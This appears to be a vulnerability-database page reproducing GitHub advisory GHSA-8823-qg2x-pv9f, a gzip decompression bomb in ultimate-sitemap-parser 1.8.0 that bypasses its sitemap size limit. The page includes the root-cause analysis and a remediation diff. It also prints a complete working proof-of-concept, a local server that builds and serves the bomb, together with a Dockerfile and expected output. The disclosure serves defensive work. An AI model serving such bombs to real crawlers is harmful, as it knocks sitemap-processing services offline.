GHSA-8823-QG2X-PV9F

Vulnerability from github – Published: 2026-06-19 21:15 – Updated: 2026-06-19 21:15
VLAI
Summary
Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit
Details

Gzip Decompression Bomb Bypasses Sitemap Size Limit

Summary

ultimate-sitemap-parser enforces a 100 MiB size limit on sitemap responses, but applies it only to the compressed bytes received over the network. When a .gz sitemap is fetched, usp/helpers.py:239 calls gzip_lib.decompress(data) with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls sitemap_tree_for_homepage() against an untrusted site.

Details

The library declares a maximum sitemap size constant in usp/fetch_parse.py:64:

__MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # Max. uncompressed sitemap size

Despite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at usp/fetch_parse.py:130:

web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)

The HTTP client (usp/web_client/requests_client.py:57-58) slices only the raw compressed response bytes:

data = self.__requests_response.content[: self.__max_response_data_length]

The truncated (but still compressed) bytes are then passed through the pipeline to usp/fetch_parse.py:175:

response_content = ungzipped_response_content(url=self._url, response=response)

Inside ungzipped_response_content (usp/helpers.py:265-267), when the URL ends in .gz or the response carries a gzip content type, decompression is triggered:

if __response_is_gzipped_data(url=url, response=response):
    data = gunzip(data)

The gunzip function (usp/helpers.py:239) decompresses without any output-size guard:

gunzipped_data = gzip_lib.decompress(data)

No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (compressed < limit → True) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.

PoC

Environment setup:

# Clone the repository at the affected commit
git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo
cd /tmp/usp-repo
git checkout 182f4642f145230b68e7518e627883edd09168ca

# Build and run via Docker (memory-limited to 512 MiB)
docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/
docker run --rm --memory=512m usp-vuln-002

Alternatively, run directly:

python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
python3 poc.py

PoC script (poc.py) — abbreviated attack flow:

import gzip, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from usp.tree import sitemap_tree_for_homepage

# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed
bomb_xml = (
    b'<?xml version="1.0" encoding="UTF-8"?>'
    b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
    b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'
    b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)

class BombHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        port = self.server.server_address[1]
        if self.path == "/robots.txt":
            body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode()
            self.send_response(200); self.end_headers(); self.wfile.write(body)
        elif self.path == "/sitemap.xml.gz":
            self.send_response(200)
            self.send_header("Content-Type", "application/x-gzip")
            self.end_headers(); self.wfile.write(compressed_bomb)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *a): pass

server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()

sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False)
server.shutdown()

Expected output:

[INTERCEPT] gunzip() input=549,213 B  output=125,829,234 B (120.0 MB)
[+] sitemap_tree_for_homepage() returned without exception
compressed=549,213 B < limit=104,857,600 B (passes gate)
decompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check)
EXCEEDS LIMIT: True
[PASS] Decompression bomb bypassed the size limit.

The parser fetches /sitemap.xml.gz, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.

Remediation:

--- a/usp/helpers.py
+++ b/usp/helpers.py
+import io

-def gunzip(data: bytes) -> bytes:
+def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes:
     try:
-        gunzipped_data = gzip_lib.decompress(data)
+        chunks, total = [], 0
+        with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:
+            while chunk := gz.read(1024 * 1024):
+                total += len(chunk)
+                if max_output_bytes is not None and total > max_output_bytes:
+                    raise GunzipException(
+                        f"Gunzipped data exceeds maximum size of {max_output_bytes} bytes."
+                    )
+                chunks.append(chunk)
+        gunzipped_data = b"".join(chunks)

-def ungzipped_response_content(url, response):
+def ungzipped_response_content(url, response, max_uncompressed_size=None):
-            data = gunzip(data)
+            data = gunzip(data, max_output_bytes=max_uncompressed_size)

--- a/usp/fetch_parse.py
-        response_content = ungzipped_response_content(url=self._url, response=response)
+        response_content = ungzipped_response_content(
+            url=self._url, response=response,
+            max_uncompressed_size=self.__MAX_SITEMAP_SIZE,
+        )

Impact

Any application that calls sitemap_tree_for_homepage() (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid robots.txt pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.

A ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.

This vulnerability is a Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb). Affected parties include:

  • SEO tooling, search engine crawlers, and indexing services using this library.
  • Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.
  • Any automated pipeline that regularly crawls third-party sitemaps.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable library from the cloned repo (build context: parent dir)
COPY repo/ /app/repo/

# Install the library from local source (version 1.8.0)
RUN pip install --no-cache-dir /app/repo/

# Copy the PoC script
COPY vuln-002/poc.py /app/poc.py

# Run with unbuffered output so evidence appears immediately
CMD ["python3", "-u", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-002:
Gzip Decompression Bomb Bypasses Sitemap Size Limit
GateNLP/ultimate-sitemap-parser 1.8.0

Vulnerability location: usp/helpers.py:239
  gunzipped_data = gzip_lib.decompress(data)   # no max_length

Attack path:
  1. Attacker serves /robots.txt pointing to /sitemap.xml.gz
  2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes
  3. Library calls gunzip() with no output-size limit
  4. Small compressed payload expands to >>100 MB in process memory

Expected outcome: gunzip() output size > 100 MB with no exception raised.
"""

import gzip
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# Mirrors usp/fetch_parse.py:64 — the library's declared maximum
MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # 100 MB

# Bomb decompresses to this size (deliberately exceeds the limit)
BOMB_UNCOMPRESSED_MB = 120
BOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024


def get_rss_mb() -> float:
    """Read current RSS from /proc/self/status in MB."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmRSS:"):
                    return int(line.split()[1]) / 1024
    except OSError:
        pass
    return 0.0


# ---------------------------------------------------------------------------
# Step 1 — Build the gzip bomb
# ---------------------------------------------------------------------------
print("[*] Building gzip bomb (compresslevel=1, fast) ...")
bomb_xml = (
    b'<?xml version="1.0" encoding="UTF-8"?>'
    b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
    b'<!--' + b'B' * BOMB_UNCOMPRESSED_BYTES + b'-->'
    b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)

print(f"[+] Uncompressed payload : {len(bomb_xml):>12,} bytes  ({len(bomb_xml)/1024/1024:.1f} MB)")
print(f"[+] Compressed bomb      : {len(compressed_bomb):>12,} bytes  ({len(compressed_bomb)/1024/1024:.3f} MB)")
print(f"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)")
print(f"[+] compressed < limit   : {len(compressed_bomb) < MAX_SITEMAP_SIZE}  "
      f"(bomb passes the size gate)")
print(f"[+] uncompressed > limit : {len(bomb_xml) > MAX_SITEMAP_SIZE}  "
      f"(decompression would exceed intent)")
print()

# ---------------------------------------------------------------------------
# Step 2 — Serve the bomb via a local HTTP server
# ---------------------------------------------------------------------------
class BombHandler(BaseHTTPRequestHandler):
    def do_GET(self) -> None:
        port = self.server.server_address[1]
        if self.path == "/robots.txt":
            body = (
                f"User-agent: *\n"
                f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n"
            ).encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/plain; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)

        elif self.path == "/sitemap.xml.gz":
            self.send_response(200)
            self.send_header("Content-Type", "application/x-gzip")
            self.send_header("Content-Length", str(len(compressed_bomb)))
            self.end_headers()
            self.wfile.write(compressed_bomb)

        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt: str, *args: object) -> None:  # silence default log
        print(f"    [HTTP] {self.path}  {fmt % args}")


server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()
print(f"[*] Bomb server listening on http://127.0.0.1:{port}/")

# ---------------------------------------------------------------------------
# Step 3 — Monkeypatch usp.helpers.gunzip to intercept decompressed size
# ---------------------------------------------------------------------------
import usp.helpers as _helpers

_orig_gunzip = _helpers.gunzip
_intercepted: list[int] = []


def _patched_gunzip(data: bytes) -> bytes:
    result = _orig_gunzip(data)
    _intercepted.append(len(result))
    print(f"    [INTERCEPT] gunzip() input={len(data):,} B  output={len(result):,} B "
          f"({len(result)/1024/1024:.1f} MB)")
    return result


_helpers.gunzip = _patched_gunzip

# ---------------------------------------------------------------------------
# Step 4 — Trigger the vulnerability
# ---------------------------------------------------------------------------
from usp.tree import sitemap_tree_for_homepage

rss_before = get_rss_mb()
print(f"[*] RSS before parse: {rss_before:.1f} MB")
print(f"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...")

try:
    _tree = sitemap_tree_for_homepage(
        f"http://127.0.0.1:{port}/",
        use_known_paths=False,
    )
    parse_raised = False
    print("[+] sitemap_tree_for_homepage() returned without exception")
except Exception as exc:
    parse_raised = True
    print(f"[!] sitemap_tree_for_homepage() raised: {exc}")

rss_after = get_rss_mb()
print(f"[*] RSS after  parse: {rss_after:.1f} MB  (delta: +{rss_after - rss_before:.1f} MB)")

server.shutdown()

# ---------------------------------------------------------------------------
# Step 5 — Evaluate and report
# ---------------------------------------------------------------------------
print()
print("=" * 60)
print("EXPLOIT RESULT SUMMARY")
print("=" * 60)

passed = False
reason = "no gunzip intercept captured"

if _intercepted:
    max_decompressed = max(_intercepted)
    print(f"  gunzip() call(s)     : {len(_intercepted)}")
    print(f"  max decompressed     : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)")
    print(f"  library limit        : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)")
    print(f"  EXCEEDS LIMIT        : {max_decompressed > MAX_SITEMAP_SIZE}")

    if max_decompressed > MAX_SITEMAP_SIZE:
        passed = True
        reason = (
            f"gunzip() decompressed {max_decompressed:,} bytes "
            f"({max_decompressed/1024/1024:.1f} MB), exceeding the "
            f"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception"
        )
        print()
        print("  [PASS] Decompression bomb bypassed the size limit.")
        print(f"  compressed={len(compressed_bomb):,} B < limit={MAX_SITEMAP_SIZE:,} B "
              f"(passes gate)")
        print(f"  decompressed={max_decompressed:,} B > limit={MAX_SITEMAP_SIZE:,} B "
              f"(no post-decompress check)")
    else:
        reason = (
            f"gunzip() decompressed {max_decompressed:,} bytes but did not exceed "
            f"{MAX_SITEMAP_SIZE:,} bytes limit"
        )
        print()
        print("  [FAIL] Decompressed size did not exceed limit.")
else:
    print("  [FAIL] gunzip() was not intercepted — sitemap path not reached.")

print("=" * 60)
sys.exit(0 if passed else 1)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "ultimate-sitemap-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:15:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Gzip Decompression Bomb Bypasses Sitemap Size Limit\n\n### Summary\n\n`ultimate-sitemap-parser` enforces a 100 MiB size limit on sitemap responses, but applies it only to the **compressed** bytes received over the network. When a `.gz` sitemap is fetched, `usp/helpers.py:239` calls `gzip_lib.decompress(data)` with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls `sitemap_tree_for_homepage()` against an untrusted site.\n\n### Details\n\nThe library declares a maximum sitemap size constant in `usp/fetch_parse.py:64`:\n\n```python\n__MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # Max. uncompressed sitemap size\n```\n\nDespite the comment saying \"uncompressed\", this value is passed directly to the HTTP client layer at `usp/fetch_parse.py:130`:\n\n```python\nweb_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)\n```\n\nThe HTTP client (`usp/web_client/requests_client.py:57-58`) slices only the raw compressed response bytes:\n\n```python\ndata = self.__requests_response.content[: self.__max_response_data_length]\n```\n\nThe truncated (but still compressed) bytes are then passed through the pipeline to `usp/fetch_parse.py:175`:\n\n```python\nresponse_content = ungzipped_response_content(url=self._url, response=response)\n```\n\nInside `ungzipped_response_content` (`usp/helpers.py:265-267`), when the URL ends in `.gz` or the response carries a gzip content type, decompression is triggered:\n\n```python\nif __response_is_gzipped_data(url=url, response=response):\n    data = gunzip(data)\n```\n\nThe `gunzip` function (`usp/helpers.py:239`) decompresses without any output-size guard:\n\n```python\ngunzipped_data = gzip_lib.decompress(data)\n```\n\nNo post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (`compressed \u003c limit \u2192 True`) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the repository at the affected commit\ngit clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo\ncd /tmp/usp-repo\ngit checkout 182f4642f145230b68e7518e627883edd09168ca\n\n# Build and run via Docker (memory-limited to 512 MiB)\ndocker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/\ndocker run --rm --memory=512m usp-vuln-002\n```\n\n**Alternatively, run directly:**\n\n```bash\npython -m venv /tmp/usp-poc\n. /tmp/usp-poc/bin/activate\npip install ultimate-sitemap-parser==1.8.0\npython3 poc.py\n```\n\n**PoC script (`poc.py`) \u2014 abbreviated attack flow:**\n\n```python\nimport gzip, threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom usp.tree import sitemap_tree_for_homepage\n\n# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed\nbomb_xml = (\n    b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u0027\n    b\u0027\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e\u0027\n    b\u0027\u003c!--\u0027 + b\u0027B\u0027 * (120 * 1024 * 1024) + b\u0027--\u003e\u0027\n    b\u0027\u003c/urlset\u003e\u0027\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nclass BombHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        port = self.server.server_address[1]\n        if self.path == \"/robots.txt\":\n            body = f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\".encode()\n            self.send_response(200); self.end_headers(); self.wfile.write(body)\n        elif self.path == \"/sitemap.xml.gz\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/x-gzip\")\n            self.end_headers(); self.wfile.write(compressed_bomb)\n        else:\n            self.send_response(404); self.end_headers()\n    def log_message(self, *a): pass\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\n\nsitemap_tree_for_homepage(f\"http://127.0.0.1:{port}/\", use_known_paths=False)\nserver.shutdown()\n```\n\n**Expected output:**\n\n```\n[INTERCEPT] gunzip() input=549,213 B  output=125,829,234 B (120.0 MB)\n[+] sitemap_tree_for_homepage() returned without exception\ncompressed=549,213 B \u003c limit=104,857,600 B (passes gate)\ndecompressed=125,829,234 B \u003e limit=104,857,600 B (no post-decompress check)\nEXCEEDS LIMIT: True\n[PASS] Decompression bomb bypassed the size limit.\n```\n\nThe parser fetches `/sitemap.xml.gz`, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.\n\n**Remediation:**\n\n```diff\n--- a/usp/helpers.py\n+++ b/usp/helpers.py\n+import io\n \n-def gunzip(data: bytes) -\u003e bytes:\n+def gunzip(data: bytes, max_output_bytes: int | None = None) -\u003e bytes:\n     try:\n-        gunzipped_data = gzip_lib.decompress(data)\n+        chunks, total = [], 0\n+        with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:\n+            while chunk := gz.read(1024 * 1024):\n+                total += len(chunk)\n+                if max_output_bytes is not None and total \u003e max_output_bytes:\n+                    raise GunzipException(\n+                        f\"Gunzipped data exceeds maximum size of {max_output_bytes} bytes.\"\n+                    )\n+                chunks.append(chunk)\n+        gunzipped_data = b\"\".join(chunks)\n\n-def ungzipped_response_content(url, response):\n+def ungzipped_response_content(url, response, max_uncompressed_size=None):\n-            data = gunzip(data)\n+            data = gunzip(data, max_output_bytes=max_uncompressed_size)\n\n--- a/usp/fetch_parse.py\n-        response_content = ungzipped_response_content(url=self._url, response=response)\n+        response_content = ungzipped_response_content(\n+            url=self._url, response=response,\n+            max_uncompressed_size=self.__MAX_SITEMAP_SIZE,\n+        )\n```\n\n### Impact\n\nAny application that calls `sitemap_tree_for_homepage()` (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid `robots.txt` pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.\n\nA ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.\n\nThis vulnerability is a **Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb)**. Affected parties include:\n\n- SEO tooling, search engine crawlers, and indexing services using this library.\n- Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.\n- Any automated pipeline that regularly crawls third-party sitemaps.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    gcc \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable library from the cloned repo (build context: parent dir)\nCOPY repo/ /app/repo/\n\n# Install the library from local source (version 1.8.0)\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /app/poc.py\n\n# Run with unbuffered output so evidence appears immediately\nCMD [\"python3\", \"-u\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept for VULN-002:\nGzip Decompression Bomb Bypasses Sitemap Size Limit\nGateNLP/ultimate-sitemap-parser 1.8.0\n\nVulnerability location: usp/helpers.py:239\n  gunzipped_data = gzip_lib.decompress(data)   # no max_length\n\nAttack path:\n  1. Attacker serves /robots.txt pointing to /sitemap.xml.gz\n  2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes\n  3. Library calls gunzip() with no output-size limit\n  4. Small compressed payload expands to \u003e\u003e100 MB in process memory\n\nExpected outcome: gunzip() output size \u003e 100 MB with no exception raised.\n\"\"\"\n\nimport gzip\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# Mirrors usp/fetch_parse.py:64 \u2014 the library\u0027s declared maximum\nMAX_SITEMAP_SIZE = 100 * 1024 * 1024  # 100 MB\n\n# Bomb decompresses to this size (deliberately exceeds the limit)\nBOMB_UNCOMPRESSED_MB = 120\nBOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024\n\n\ndef get_rss_mb() -\u003e float:\n    \"\"\"Read current RSS from /proc/self/status in MB.\"\"\"\n    try:\n        with open(\"/proc/self/status\") as fh:\n            for line in fh:\n                if line.startswith(\"VmRSS:\"):\n                    return int(line.split()[1]) / 1024\n    except OSError:\n        pass\n    return 0.0\n\n\n# ---------------------------------------------------------------------------\n# Step 1 \u2014 Build the gzip bomb\n# ---------------------------------------------------------------------------\nprint(\"[*] Building gzip bomb (compresslevel=1, fast) ...\")\nbomb_xml = (\n    b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u0027\n    b\u0027\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e\u0027\n    b\u0027\u003c!--\u0027 + b\u0027B\u0027 * BOMB_UNCOMPRESSED_BYTES + b\u0027--\u003e\u0027\n    b\u0027\u003c/urlset\u003e\u0027\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nprint(f\"[+] Uncompressed payload : {len(bomb_xml):\u003e12,} bytes  ({len(bomb_xml)/1024/1024:.1f} MB)\")\nprint(f\"[+] Compressed bomb      : {len(compressed_bomb):\u003e12,} bytes  ({len(compressed_bomb)/1024/1024:.3f} MB)\")\nprint(f\"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)\")\nprint(f\"[+] compressed \u003c limit   : {len(compressed_bomb) \u003c MAX_SITEMAP_SIZE}  \"\n      f\"(bomb passes the size gate)\")\nprint(f\"[+] uncompressed \u003e limit : {len(bomb_xml) \u003e MAX_SITEMAP_SIZE}  \"\n      f\"(decompression would exceed intent)\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 2 \u2014 Serve the bomb via a local HTTP server\n# ---------------------------------------------------------------------------\nclass BombHandler(BaseHTTPRequestHandler):\n    def do_GET(self) -\u003e None:\n        port = self.server.server_address[1]\n        if self.path == \"/robots.txt\":\n            body = (\n                f\"User-agent: *\\n\"\n                f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\"\n            ).encode()\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"text/plain; charset=utf-8\")\n            self.send_header(\"Content-Length\", str(len(body)))\n            self.end_headers()\n            self.wfile.write(body)\n\n        elif self.path == \"/sitemap.xml.gz\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/x-gzip\")\n            self.send_header(\"Content-Length\", str(len(compressed_bomb)))\n            self.end_headers()\n            self.wfile.write(compressed_bomb)\n\n        else:\n            self.send_response(404)\n            self.end_headers()\n\n    def log_message(self, fmt: str, *args: object) -\u003e None:  # silence default log\n        print(f\"    [HTTP] {self.path}  {fmt % args}\")\n\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\nprint(f\"[*] Bomb server listening on http://127.0.0.1:{port}/\")\n\n# ---------------------------------------------------------------------------\n# Step 3 \u2014 Monkeypatch usp.helpers.gunzip to intercept decompressed size\n# ---------------------------------------------------------------------------\nimport usp.helpers as _helpers\n\n_orig_gunzip = _helpers.gunzip\n_intercepted: list[int] = []\n\n\ndef _patched_gunzip(data: bytes) -\u003e bytes:\n    result = _orig_gunzip(data)\n    _intercepted.append(len(result))\n    print(f\"    [INTERCEPT] gunzip() input={len(data):,} B  output={len(result):,} B \"\n          f\"({len(result)/1024/1024:.1f} MB)\")\n    return result\n\n\n_helpers.gunzip = _patched_gunzip\n\n# ---------------------------------------------------------------------------\n# Step 4 \u2014 Trigger the vulnerability\n# ---------------------------------------------------------------------------\nfrom usp.tree import sitemap_tree_for_homepage\n\nrss_before = get_rss_mb()\nprint(f\"[*] RSS before parse: {rss_before:.1f} MB\")\nprint(f\"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...\")\n\ntry:\n    _tree = sitemap_tree_for_homepage(\n        f\"http://127.0.0.1:{port}/\",\n        use_known_paths=False,\n    )\n    parse_raised = False\n    print(\"[+] sitemap_tree_for_homepage() returned without exception\")\nexcept Exception as exc:\n    parse_raised = True\n    print(f\"[!] sitemap_tree_for_homepage() raised: {exc}\")\n\nrss_after = get_rss_mb()\nprint(f\"[*] RSS after  parse: {rss_after:.1f} MB  (delta: +{rss_after - rss_before:.1f} MB)\")\n\nserver.shutdown()\n\n# ---------------------------------------------------------------------------\n# Step 5 \u2014 Evaluate and report\n# ---------------------------------------------------------------------------\nprint()\nprint(\"=\" * 60)\nprint(\"EXPLOIT RESULT SUMMARY\")\nprint(\"=\" * 60)\n\npassed = False\nreason = \"no gunzip intercept captured\"\n\nif _intercepted:\n    max_decompressed = max(_intercepted)\n    print(f\"  gunzip() call(s)     : {len(_intercepted)}\")\n    print(f\"  max decompressed     : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)\")\n    print(f\"  library limit        : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)\")\n    print(f\"  EXCEEDS LIMIT        : {max_decompressed \u003e MAX_SITEMAP_SIZE}\")\n\n    if max_decompressed \u003e MAX_SITEMAP_SIZE:\n        passed = True\n        reason = (\n            f\"gunzip() decompressed {max_decompressed:,} bytes \"\n            f\"({max_decompressed/1024/1024:.1f} MB), exceeding the \"\n            f\"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception\"\n        )\n        print()\n        print(\"  [PASS] Decompression bomb bypassed the size limit.\")\n        print(f\"  compressed={len(compressed_bomb):,} B \u003c limit={MAX_SITEMAP_SIZE:,} B \"\n              f\"(passes gate)\")\n        print(f\"  decompressed={max_decompressed:,} B \u003e limit={MAX_SITEMAP_SIZE:,} B \"\n              f\"(no post-decompress check)\")\n    else:\n        reason = (\n            f\"gunzip() decompressed {max_decompressed:,} bytes but did not exceed \"\n            f\"{MAX_SITEMAP_SIZE:,} bytes limit\"\n        )\n        print()\n        print(\"  [FAIL] Decompressed size did not exceed limit.\")\nelse:\n    print(\"  [FAIL] gunzip() was not intercepted \u2014 sitemap path not reached.\")\n\nprint(\"=\" * 60)\nsys.exit(0 if passed else 1)\n```",
  "id": "GHSA-8823-qg2x-pv9f",
  "modified": "2026-06-19T21:15:34Z",
  "published": "2026-06-19T21:15:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GateNLP/ultimate-sitemap-parser/security/advisories/GHSA-8823-qg2x-pv9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GateNLP/ultimate-sitemap-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…